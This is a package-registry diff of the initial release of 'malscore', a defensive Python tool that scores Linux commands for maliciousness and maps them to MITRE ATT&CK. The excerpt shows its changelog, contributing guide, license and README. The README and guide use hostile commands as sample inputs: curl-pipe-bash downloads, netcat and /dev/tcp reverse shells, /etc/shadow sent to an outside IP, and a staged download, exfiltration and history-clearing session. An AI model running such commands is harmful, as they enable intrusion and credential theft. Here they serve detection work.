malscore 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- malscore-0.1.0/CHANGELOG.md +35 -0
- malscore-0.1.0/CONTRIBUTING.md +112 -0
- malscore-0.1.0/LICENSE +202 -0
- malscore-0.1.0/MANIFEST.in +9 -0
- malscore-0.1.0/PKG-INFO +282 -0
- malscore-0.1.0/README.md +247 -0
- malscore-0.1.0/docs/architecture.md +98 -0
- malscore-0.1.0/docs/index.md +16 -0
- malscore-0.1.0/docs/signals.md +211 -0
- malscore-0.1.0/docs/usage.md +130 -0
- malscore-0.1.0/malscore/__init__.py +27 -0
- malscore-0.1.0/malscore/__main__.py +6 -0
- malscore-0.1.0/malscore/cli.py +244 -0
- malscore-0.1.0/malscore/context.py +549 -0
- malscore-0.1.0/malscore/features.py +647 -0
- malscore-0.1.0/malscore/lexer.py +316 -0
- malscore-0.1.0/malscore/py.typed +0 -0
- malscore-0.1.0/malscore/redaction.py +44 -0
- malscore-0.1.0/malscore/scoring.py +290 -0
- malscore-0.1.0/malscore/signals.py +480 -0
- malscore-0.1.0/malscore/tradecraft.py +682 -0
- malscore-0.1.0/malscore.egg-info/PKG-INFO +282 -0
- malscore-0.1.0/malscore.egg-info/SOURCES.txt +35 -0
- malscore-0.1.0/malscore.egg-info/dependency_links.txt +1 -0
- malscore-0.1.0/malscore.egg-info/entry_points.txt +2 -0
- malscore-0.1.0/malscore.egg-info/requires.txt +4 -0
- malscore-0.1.0/malscore.egg-info/top_level.txt +1 -0
- malscore-0.1.0/pyproject.toml +57 -0
- malscore-0.1.0/setup.cfg +4 -0
- malscore-0.1.0/tests/_bootstrap.py +10 -0
- malscore-0.1.0/tests/test_cli.py +97 -0
- malscore-0.1.0/tests/test_features.py +152 -0
- malscore-0.1.0/tests/test_lexer.py +87 -0
- malscore-0.1.0/tests/test_safety.py +107 -0
- malscore-0.1.0/tests/test_scoring.py +210 -0
- malscore-0.1.0/tests/test_techniques.py +108 -0
- malscore-0.1.0/tools/gen_signals_doc.py +78 -0
|
@@ -0,0 +1,35 @@
|
|
|
1
|
+
# Changelog
|
|
2
|
+
|
|
3
|
+
All notable changes to this project are documented here. The format is based on
|
|
4
|
+
[Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project
|
|
5
|
+
adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
|
6
|
+
|
|
7
|
+
## [Unreleased]
|
|
8
|
+
|
|
9
|
+
## [0.1.0] - 2026-10-19
|
|
10
|
+
|
|
11
|
+
Initial release.
|
|
12
|
+
|
|
13
|
+
### Added
|
|
14
|
+
- Maliciousness scoring for a single Linux command: a 0–100 score with a verdict
|
|
15
|
+
band (`benign`/`low`/`medium`/`high`/`critical`) and MITRE ATT&CK mapping.
|
|
16
|
+
- Session scoring (`Analyzer.assess_session`, `--session`): score a list of
|
|
17
|
+
commands together, with cross-command signals for staged exfiltration, a
|
|
18
|
+
download run later, privilege escalation followed by credential access, cleanup
|
|
19
|
+
after exfiltration, and activity followed by history/log clearing.
|
|
20
|
+
- A catalogue of 113 command-level signals and 8 session signals spanning the
|
|
21
|
+
Linux ATT&CK tactics — execution, persistence, privilege escalation, defense
|
|
22
|
+
evasion, credential access, discovery, collection, command-and-control,
|
|
23
|
+
exfiltration and impact — including GTFOBins shell escapes, credential hunting,
|
|
24
|
+
database dumps and sensitive-data access, and DNS/encoded exfiltration.
|
|
25
|
+
- A non-executing shell lexer and analysis context; the non-execution guarantee is
|
|
26
|
+
enforced by a static and runtime safety test.
|
|
27
|
+
- Command-line interface: argument/stdin/`--session`/`--batch` input, `--json`,
|
|
28
|
+
`--explain`, `--redact`, `--min-verdict`, `--fail-on`, `--no-color`; `malscore`
|
|
29
|
+
console script and `python -m malscore`.
|
|
30
|
+
- Python API: `Analyzer`, `Assessment`, `SIGNALS`, `SESSION_SIGNALS`,
|
|
31
|
+
`verdict_for`.
|
|
32
|
+
- Zero runtime dependencies; Python 3.8+.
|
|
33
|
+
|
|
34
|
+
[Unreleased]: https://github.com/raj3shp/malscore/compare/v0.1.0...HEAD
|
|
35
|
+
[0.1.0]: https://github.com/raj3shp/malscore/releases/tag/v0.1.0
|
|
@@ -0,0 +1,112 @@
|
|
|
1
|
+
# Contributing to malscore
|
|
2
|
+
|
|
3
|
+
Thanks for helping improve `malscore`. It is a small, dependency-free package, so
|
|
4
|
+
getting set up is quick.
|
|
5
|
+
|
|
6
|
+
## Development setup
|
|
7
|
+
|
|
8
|
+
`malscore` has no runtime dependencies and the tests use only the standard
|
|
9
|
+
library, so a checkout is all you need to hack on it:
|
|
10
|
+
|
|
11
|
+
```bash
|
|
12
|
+
git clone https://github.com/raj3shp/malscore
|
|
13
|
+
cd malscore
|
|
14
|
+
python -m unittest discover -s tests # 87 tests, no deps required
|
|
15
|
+
python -m malscore "curl -s http://1.2.3.4/x.sh | bash" # run from source
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
The release toolchain (for building and publishing) is an optional extra:
|
|
19
|
+
|
|
20
|
+
```bash
|
|
21
|
+
pip install -e ".[dev]" # installs build + twine
|
|
22
|
+
```
|
|
23
|
+
|
|
24
|
+
The package **runs** on Python 3.8+, but **building** it (editable install,
|
|
25
|
+
`python -m build`, a release) needs Python 3.9+ because the build requires
|
|
26
|
+
`setuptools>=77` for the SPDX license metadata. Running the tests needs no build,
|
|
27
|
+
so they work on 3.8 too.
|
|
28
|
+
|
|
29
|
+
## The non-execution invariant
|
|
30
|
+
|
|
31
|
+
`malscore` must **never** execute, expand, glob or resolve what it analyses — it
|
|
32
|
+
only reads text. This is the project's core safety property and is enforced by
|
|
33
|
+
`tests/test_safety.py`, which:
|
|
34
|
+
|
|
35
|
+
1. statically scans every source file for execution primitives (`os.system(`,
|
|
36
|
+
`subprocess`, `eval(`, `exec(`, `pty.spawn`, …), and
|
|
37
|
+
2. checks at runtime that assessing file-creating/deleting/substitution commands
|
|
38
|
+
leaves the filesystem untouched.
|
|
39
|
+
|
|
40
|
+
Because of the static scan, when a **test** needs to feed such a primitive to the
|
|
41
|
+
analyser as data, assemble the literal from pieces so it does not appear verbatim
|
|
42
|
+
in source, e.g.:
|
|
43
|
+
|
|
44
|
+
```python
|
|
45
|
+
cmd = "python3 -c 'import pty; %s(\"/bin/bash\")'" % ("pty." + "spawn")
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
Never add `subprocess`, `os.system`, `eval`/`exec`, etc. to the library itself.
|
|
49
|
+
|
|
50
|
+
## Adding a detection
|
|
51
|
+
|
|
52
|
+
A detection is a **feature** (a neutral observation) plus a **signal** (weighted
|
|
53
|
+
judgement). See [docs/architecture.md](docs/architecture.md) for the why.
|
|
54
|
+
|
|
55
|
+
1. **Feature** — add it to the appropriate group in `malscore/tradecraft.py`
|
|
56
|
+
(technique-specific shapes, grouped by ATT&CK tactic) or
|
|
57
|
+
`malscore/features.py` (generic groups), and return it from that group's
|
|
58
|
+
function. Features return plain ints/strings and must not judge intent.
|
|
59
|
+
2. **Signal** — add a `Signal` to `malscore/signals.py` with an id, a one-line
|
|
60
|
+
title, a weight in `(0, 1]`, a MITRE tactic constant and technique ids, and a
|
|
61
|
+
predicate (a tuple of feature names fires when any is set, or a `lambda r:`
|
|
62
|
+
for anything more involved). Weight rules of thumb are documented at the top of
|
|
63
|
+
that file.
|
|
64
|
+
3. **Tests** — add a positive case (the technique fires its signal) and, for
|
|
65
|
+
anything with false-positive risk, a near-miss negative, to
|
|
66
|
+
`tests/test_techniques.py`.
|
|
67
|
+
4. Keep false positives down: a new rule should not push routine administration
|
|
68
|
+
into `medium` or above. Evaluate against representative benign traffic.
|
|
69
|
+
|
|
70
|
+
## Regenerating the signal reference
|
|
71
|
+
|
|
72
|
+
`docs/signals.md` is generated from the catalogue, not edited by hand. After
|
|
73
|
+
changing signals, regenerate it:
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
python tools/gen_signals_doc.py > docs/signals.md
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
## Pull requests
|
|
80
|
+
|
|
81
|
+
- Run `python -m unittest discover -s tests` and make sure everything passes.
|
|
82
|
+
- Update `CHANGELOG.md` under `[Unreleased]`.
|
|
83
|
+
- If you add a feature or signal, update `docs/` (regenerate `signals.md`).
|
|
84
|
+
|
|
85
|
+
## Release workflow (maintainers)
|
|
86
|
+
|
|
87
|
+
Releases are published to PyPI manually with `twine`.
|
|
88
|
+
|
|
89
|
+
1. Bump `__version__` in `malscore/__init__.py` (the packaged version is derived
|
|
90
|
+
from it) and move the `CHANGELOG.md` `[Unreleased]` notes under the new version.
|
|
91
|
+
2. Build and validate:
|
|
92
|
+
```bash
|
|
93
|
+
python -m build
|
|
94
|
+
twine check dist/*
|
|
95
|
+
```
|
|
96
|
+
3. Inspect the artifacts if you like (`unzip -l dist/*.whl`), then upload to
|
|
97
|
+
TestPyPI first and verify the listing:
|
|
98
|
+
```bash
|
|
99
|
+
twine upload -r testpypi dist/*
|
|
100
|
+
```
|
|
101
|
+
4. Upload to PyPI:
|
|
102
|
+
```bash
|
|
103
|
+
twine upload dist/*
|
|
104
|
+
```
|
|
105
|
+
5. Tag the release:
|
|
106
|
+
```bash
|
|
107
|
+
git tag v0.1.0 && git push origin v0.1.0
|
|
108
|
+
```
|
|
109
|
+
|
|
110
|
+
`twine` reads credentials from `~/.pypirc` or the `TWINE_USERNAME`/
|
|
111
|
+
`TWINE_PASSWORD` environment variables; use `__token__` as the username and a PyPI
|
|
112
|
+
API token as the password.
|
malscore-0.1.0/LICENSE
ADDED
|
@@ -0,0 +1,202 @@
|
|
|
1
|
+
|
|
2
|
+
Apache License
|
|
3
|
+
Version 2.0, January 2004
|
|
4
|
+
http://www.apache.org/licenses/
|
|
5
|
+
|
|
6
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
7
|
+
|
|
8
|
+
1. Definitions.
|
|
9
|
+
|
|
10
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
11
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
12
|
+
|
|
13
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
14
|
+
the copyright owner that is granting the License.
|
|
15
|
+
|
|
16
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
17
|
+
other entities that control, are controlled by, or are under common
|
|
18
|
+
control with that entity. For the purposes of this definition,
|
|
19
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
20
|
+
direction or management of such entity, whether by contract or
|
|
21
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
22
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
23
|
+
|
|
24
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
25
|
+
exercising permissions granted by this License.
|
|
26
|
+
|
|
27
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
28
|
+
including but not limited to software source code, documentation
|
|
29
|
+
source, and configuration files.
|
|
30
|
+
|
|
31
|
+
"Object" form shall mean any form resulting from mechanical
|
|
32
|
+
transformation or translation of a Source form, including but
|
|
33
|
+
not limited to compiled object code, generated documentation,
|
|
34
|
+
and conversions to other media types.
|
|
35
|
+
|
|
36
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
37
|
+
Object form, made available under the License, as indicated by a
|
|
38
|
+
copyright notice that is included in or attached to the work
|
|
39
|
+
(an example is provided in the Appendix below).
|
|
40
|
+
|
|
41
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
42
|
+
form, that is based on (or derived from) the Work and for which the
|
|
43
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
44
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
45
|
+
of this License, Derivative Works shall not include works that remain
|
|
46
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
47
|
+
the Work and Derivative Works thereof.
|
|
48
|
+
|
|
49
|
+
"Contribution" shall mean any work of authorship, including
|
|
50
|
+
the original version of the Work and any modifications or additions
|
|
51
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
52
|
+
submitted to Licensor for inclusion in the Work by the copyright owner
|
|
53
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
54
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
55
|
+
means any form of electronic, verbal, or written communication sent
|
|
56
|
+
to the Licensor or its representatives, including but not limited to
|
|
57
|
+
communication on electronic mailing lists, source code control systems,
|
|
58
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
59
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
60
|
+
excluding communication that is conspicuously marked or otherwise
|
|
61
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
62
|
+
|
|
63
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
64
|
+
on behalf of whom a Contribution has been received by Licensor and
|
|
65
|
+
subsequently incorporated within the Work.
|
|
66
|
+
|
|
67
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
68
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
69
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
70
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
71
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
72
|
+
Work and such Derivative Works in Source or Object form.
|
|
73
|
+
|
|
74
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
75
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
76
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
77
|
+
(except as stated in this section) patent license to make, have made,
|
|
78
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
79
|
+
where such license applies only to those patent claims licensable
|
|
80
|
+
by such Contributor that are necessarily infringed by their
|
|
81
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
82
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
83
|
+
institute patent litigation against any entity (including a
|
|
84
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
85
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
86
|
+
or contributory patent infringement, then any patent licenses
|
|
87
|
+
granted to You under this License for that Work shall terminate
|
|
88
|
+
as of the date such litigation is filed.
|
|
89
|
+
|
|
90
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
91
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
92
|
+
modifications, and in Source or Object form, provided that You
|
|
93
|
+
meet the following conditions:
|
|
94
|
+
|
|
95
|
+
(a) You must give any other recipients of the Work or
|
|
96
|
+
Derivative Works a copy of this License; and
|
|
97
|
+
|
|
98
|
+
(b) You must cause any modified files to carry prominent notices
|
|
99
|
+
stating that You changed the files; and
|
|
100
|
+
|
|
101
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
102
|
+
that You distribute, all copyright, patent, trademark, and
|
|
103
|
+
attribution notices from the Source form of the Work,
|
|
104
|
+
excluding those notices that do not pertain to any part of
|
|
105
|
+
the Derivative Works; and
|
|
106
|
+
|
|
107
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
108
|
+
distribution, then any Derivative Works that You distribute must
|
|
109
|
+
include a readable copy of the attribution notices contained
|
|
110
|
+
within such NOTICE file, excluding those notices that do not
|
|
111
|
+
pertain to any part of the Derivative Works, in at least one
|
|
112
|
+
of the following places: within a NOTICE text file distributed
|
|
113
|
+
as part of the Derivative Works; within the Source form or
|
|
114
|
+
documentation, if provided along with the Derivative Works; or,
|
|
115
|
+
within a display generated by the Derivative Works, if and
|
|
116
|
+
wherever such third-party notices normally appear. The contents
|
|
117
|
+
of the NOTICE file are for informational purposes only and
|
|
118
|
+
do not modify the License. You may add Your own attribution
|
|
119
|
+
notices within Derivative Works that You distribute, alongside
|
|
120
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
121
|
+
that such additional attribution notices cannot be construed
|
|
122
|
+
as modifying the License.
|
|
123
|
+
|
|
124
|
+
You may add Your own copyright statement to Your modifications and
|
|
125
|
+
may provide additional or different license terms and conditions
|
|
126
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
127
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
128
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
129
|
+
the conditions stated in this License.
|
|
130
|
+
|
|
131
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
132
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
133
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
134
|
+
this License, without any additional terms or conditions.
|
|
135
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
136
|
+
the terms of any separate license agreement you may have executed
|
|
137
|
+
with Licensor regarding such Contributions.
|
|
138
|
+
|
|
139
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
140
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
141
|
+
except as required for reasonable and customary use in describing the
|
|
142
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
143
|
+
|
|
144
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
145
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
146
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
147
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
148
|
+
implied, including, without limitation, any warranties or conditions
|
|
149
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
150
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
151
|
+
appropriateness of using or redistributing the Work and assume any
|
|
152
|
+
risks associated with Your exercise of permissions under this License.
|
|
153
|
+
|
|
154
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
155
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
156
|
+
unless required by applicable law (such as deliberate and grossly
|
|
157
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
158
|
+
liable to You for damages, including any direct, indirect, special,
|
|
159
|
+
incidental, or consequential damages of any character arising as a
|
|
160
|
+
result of this License or out of the use or inability to use the
|
|
161
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
162
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
163
|
+
other commercial damages or losses), even if such Contributor
|
|
164
|
+
has been advised of the possibility of such damages.
|
|
165
|
+
|
|
166
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
167
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
168
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
169
|
+
or other liability obligations and/or rights consistent with this
|
|
170
|
+
License. However, in accepting such obligations, You may act only
|
|
171
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
172
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
173
|
+
defend, and hold each Contributor harmless for any liability
|
|
174
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
175
|
+
of your accepting any such warranty or additional liability.
|
|
176
|
+
|
|
177
|
+
END OF TERMS AND CONDITIONS
|
|
178
|
+
|
|
179
|
+
APPENDIX: How to apply the Apache License to your work.
|
|
180
|
+
|
|
181
|
+
To apply the Apache License to your work, attach the following
|
|
182
|
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
|
183
|
+
replaced with your own identifying information. (Don't include
|
|
184
|
+
the brackets!) The text should be enclosed in the appropriate
|
|
185
|
+
comment syntax for the file format. We also recommend that a
|
|
186
|
+
file or class name and description of purpose be included on the
|
|
187
|
+
same "printed page" as the copyright notice for easier
|
|
188
|
+
identification within third-party archives.
|
|
189
|
+
|
|
190
|
+
Copyright 2026 raj3shp
|
|
191
|
+
|
|
192
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
193
|
+
you may not use this file except in compliance with the License.
|
|
194
|
+
You may obtain a copy of the License at
|
|
195
|
+
|
|
196
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
197
|
+
|
|
198
|
+
Unless required by applicable law or agreed to in writing, software
|
|
199
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
200
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
201
|
+
See the License for the specific language governing permissions and
|
|
202
|
+
limitations under the License.
|
malscore-0.1.0/PKG-INFO
ADDED
|
@@ -0,0 +1,282 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: malscore
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Score the maliciousness of a Linux command or a session of commands (0-100) with MITRE ATT&CK mapping. Never executes its input.
|
|
5
|
+
Author: raj3shp
|
|
6
|
+
License-Expression: Apache-2.0
|
|
7
|
+
Project-URL: Homepage, https://github.com/raj3shp/malscore
|
|
8
|
+
Project-URL: Repository, https://github.com/raj3shp/malscore
|
|
9
|
+
Project-URL: Issues, https://github.com/raj3shp/malscore/issues
|
|
10
|
+
Project-URL: Changelog, https://github.com/raj3shp/malscore/blob/main/CHANGELOG.md
|
|
11
|
+
Keywords: security,malware,detection,mitre,att&ck,linux,shell,command,session,scoring,dfir,threat-detection
|
|
12
|
+
Classifier: Development Status :: 4 - Beta
|
|
13
|
+
Classifier: Environment :: Console
|
|
14
|
+
Classifier: Intended Audience :: Developers
|
|
15
|
+
Classifier: Intended Audience :: System Administrators
|
|
16
|
+
Classifier: Intended Audience :: Information Technology
|
|
17
|
+
Classifier: Topic :: Security
|
|
18
|
+
Classifier: Topic :: System :: Systems Administration
|
|
19
|
+
Classifier: Operating System :: POSIX :: Linux
|
|
20
|
+
Classifier: Programming Language :: Python :: 3
|
|
21
|
+
Classifier: Programming Language :: Python :: 3.8
|
|
22
|
+
Classifier: Programming Language :: Python :: 3.9
|
|
23
|
+
Classifier: Programming Language :: Python :: 3.10
|
|
24
|
+
Classifier: Programming Language :: Python :: 3.11
|
|
25
|
+
Classifier: Programming Language :: Python :: 3.12
|
|
26
|
+
Classifier: Programming Language :: Python :: 3.13
|
|
27
|
+
Classifier: Typing :: Typed
|
|
28
|
+
Requires-Python: >=3.8
|
|
29
|
+
Description-Content-Type: text/markdown
|
|
30
|
+
License-File: LICENSE
|
|
31
|
+
Provides-Extra: dev
|
|
32
|
+
Requires-Dist: build>=1.2; extra == "dev"
|
|
33
|
+
Requires-Dist: twine>=6.1; extra == "dev"
|
|
34
|
+
Dynamic: license-file
|
|
35
|
+
|
|
36
|
+
# malscore — maliciousness scoring for Linux commands
|
|
37
|
+
|
|
38
|
+
[](https://pypi.org/project/malscore/)
|
|
39
|
+
[](https://pypi.org/project/malscore/)
|
|
40
|
+
[](LICENSE)
|
|
41
|
+
|
|
42
|
+
`malscore` takes a Linux command line, or a session of commands such as a shell
|
|
43
|
+
history, and returns a **0–100 maliciousness score** with a verdict band and
|
|
44
|
+
MITRE ATT&CK mapping:
|
|
45
|
+
|
|
46
|
+
```
|
|
47
|
+
command(s) → features → signals → score + MITRE mapping
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
It never executes, expands or resolves anything — it only reads the text
|
|
51
|
+
(enforced by `tests/test_safety.py`). It has no dependencies beyond the Python
|
|
52
|
+
standard library (3.8+).
|
|
53
|
+
|
|
54
|
+
---
|
|
55
|
+
|
|
56
|
+
## Install
|
|
57
|
+
|
|
58
|
+
```bash
|
|
59
|
+
pip install malscore # provides the `malscore` command
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
From a source checkout:
|
|
63
|
+
|
|
64
|
+
```bash
|
|
65
|
+
pip install . # or run without installing, from the repo root:
|
|
66
|
+
python3 -m malscore "<command>"
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
## Quickstart
|
|
70
|
+
|
|
71
|
+
```bash
|
|
72
|
+
# one command
|
|
73
|
+
malscore "curl -s http://45.33.2.1/x.sh | bash"
|
|
74
|
+
|
|
75
|
+
# the command from stdin
|
|
76
|
+
echo "nc -e /bin/sh 10.0.0.1 4444" | malscore -
|
|
77
|
+
|
|
78
|
+
# a session: one command per line, scored individually and across commands
|
|
79
|
+
malscore --session history.txt
|
|
80
|
+
history | cut -c8- | malscore --session -
|
|
81
|
+
|
|
82
|
+
# every command in a telemetry feed, high or worse only
|
|
83
|
+
malscore --batch events.jsonl --min-verdict high
|
|
84
|
+
|
|
85
|
+
# full evidence with MITRE technique ids
|
|
86
|
+
malscore "bash -i >& /dev/tcp/1.2.3.4/4444 0>&1" --explain
|
|
87
|
+
|
|
88
|
+
# machine-readable
|
|
89
|
+
malscore --session history.txt --json
|
|
90
|
+
|
|
91
|
+
# gate use: exit code 2 when the verdict is high or critical
|
|
92
|
+
malscore --session history.txt --fail-on high
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
Examples:
|
|
96
|
+
|
|
97
|
+
```
|
|
98
|
+
$ malscore "sudo cat /etc/shadow | nc 45.33.2.1 9001" --explain
|
|
99
|
+
██████████████████████░░ score 91/100 CRITICAL
|
|
100
|
+
tactics: exfiltration, credential-access, command-and-control
|
|
101
|
+
|
|
102
|
+
evidence:
|
|
103
|
+
[0.60] exfiltration Credential material is sent over the network
|
|
104
|
+
T1552 T1041
|
|
105
|
+
[0.55] credential-access The password hash database (/etc/shadow) is accessed
|
|
106
|
+
T1003.008
|
|
107
|
+
[0.35] exfiltration Data is sent over a raw socket
|
|
108
|
+
T1048
|
|
109
|
+
...
|
|
110
|
+
|
|
111
|
+
$ cat history.txt
|
|
112
|
+
cd /tmp
|
|
113
|
+
curl -s -o /tmp/.x http://45.33.2.1/x
|
|
114
|
+
chmod +x /tmp/.x
|
|
115
|
+
/tmp/.x
|
|
116
|
+
tar czf /tmp/etc.tgz /etc
|
|
117
|
+
scp /tmp/etc.tgz loot@45.33.2.1:/srv/
|
|
118
|
+
history -c
|
|
119
|
+
|
|
120
|
+
$ malscore --session history.txt
|
|
121
|
+
████████████████████████ score 99/100 CRITICAL
|
|
122
|
+
history.txt
|
|
123
|
+
tactics: execution, defense-evasion, exfiltration, command-and-control, collection
|
|
124
|
+
|
|
125
|
+
7 command(s), 6 flagged:
|
|
126
|
+
████████████░░░░░░░░░░░░ L2 49 medium curl -s -o /tmp/.x http://45.33.2.1/x
|
|
127
|
+
███████░░░░░░░░░░░░░░░░░ L3 30 low chmod +x /tmp/.x
|
|
128
|
+
███████░░░░░░░░░░░░░░░░░ L4 30 low /tmp/.x
|
|
129
|
+
██████░░░░░░░░░░░░░░░░░░ L5 25 low tar czf /tmp/etc.tgz /etc
|
|
130
|
+
████████░░░░░░░░░░░░░░░░ L6 35 medium scp /tmp/etc.tgz loot@45.33.2.1:/srv/
|
|
131
|
+
████████████░░░░░░░░░░░░ L7 50 medium history -c
|
|
132
|
+
signals: staged_download_execution, history_cleared, collect_then_exfiltrate, upload_public_ip, multi_stage, hidden_temp_path ...
|
|
133
|
+
```
|
|
134
|
+
|
|
135
|
+
In a session file every non-blank line is one command, taken literally: there is
|
|
136
|
+
no handling of comments, line continuations or here-documents. `--batch` is
|
|
137
|
+
different: it scores each command of a JSON feed independently, with no
|
|
138
|
+
cross-command analysis.
|
|
139
|
+
|
|
140
|
+
---
|
|
141
|
+
|
|
142
|
+
## Verdict bands
|
|
143
|
+
|
|
144
|
+
| score | verdict | meaning |
|
|
145
|
+
| --- | --- | --- |
|
|
146
|
+
| 80–100 | `critical` | shape is rarely legitimate (reverse shell, disk wipe, uid‑0 account) |
|
|
147
|
+
| 60–79 | `high` | strong evidence; review promptly |
|
|
148
|
+
| 35–59 | `medium` | suspicious in most contexts (curl‑pipe‑shell, shadow read) |
|
|
149
|
+
| 15–34 | `low` | worth noting in combination |
|
|
150
|
+
| 0–14 | `benign` | routine |
|
|
151
|
+
|
|
152
|
+
The bands and weights are a hand-tuned starting point, **not** a trained model —
|
|
153
|
+
every point of the score traces to a named signal and a MITRE ATT&CK technique.
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
## How the score is built
|
|
158
|
+
|
|
159
|
+
1. **Features.** The command is lexed (without executing anything), wrappers
|
|
160
|
+
such as `sudo`/`env`/`xargs` are unwrapped, substitutions and `-c` payloads
|
|
161
|
+
are descended into, and deterministic features are computed — download
|
|
162
|
+
chains, paths touched, persistence surfaces, encoding tricks, and a
|
|
163
|
+
`tradecraft` group (`malscore/tradecraft.py`) that recognises specific
|
|
164
|
+
attacker techniques by shape.
|
|
165
|
+
2. **Signals.** `malscore/signals.py` is a catalogue of ~120 named signals: a
|
|
166
|
+
predicate over the feature record, a weight in `(0, 1]`, a MITRE tactic and
|
|
167
|
+
technique ids. A weight reads as "how likely is this hostile if it
|
|
168
|
+
were the only thing we knew". The catalogue spans, by ATT&CK tactic:
|
|
169
|
+
- **execution** — interpreter from a download, decoded payloads, TTY upgrades,
|
|
170
|
+
fileless execution from `/proc/self/fd`;
|
|
171
|
+
- **credential access** — `/etc/shadow` and private keys, cloud metadata,
|
|
172
|
+
credential-keyword searches over config files, reads of `.pgpass`/`.netrc`/
|
|
173
|
+
cloud credential files, environment and history scraping, SSH-agent hijack;
|
|
174
|
+
- **privilege escalation** — reverse shells, sudoers edits, setuid, container
|
|
175
|
+
escape, interactive root shells, GTFOBins shell escapes, the `sudo -u#-1`
|
|
176
|
+
bypass, PATH hijacks;
|
|
177
|
+
- **collection / exfiltration** — archives and database dumps, access to
|
|
178
|
+
tables or files holding card numbers / tokens / customer data, regex hunts
|
|
179
|
+
for card numbers and SSNs, DNS and encoded exfiltration, paste/webhook
|
|
180
|
+
services;
|
|
181
|
+
- **defense evasion** — history and log tampering, disabling EDR/audit,
|
|
182
|
+
clearing immutable flags, `/proc` bind-mount hiding;
|
|
183
|
+
- **persistence / impact** — cron, systemd, login hooks, disk wipes, fork
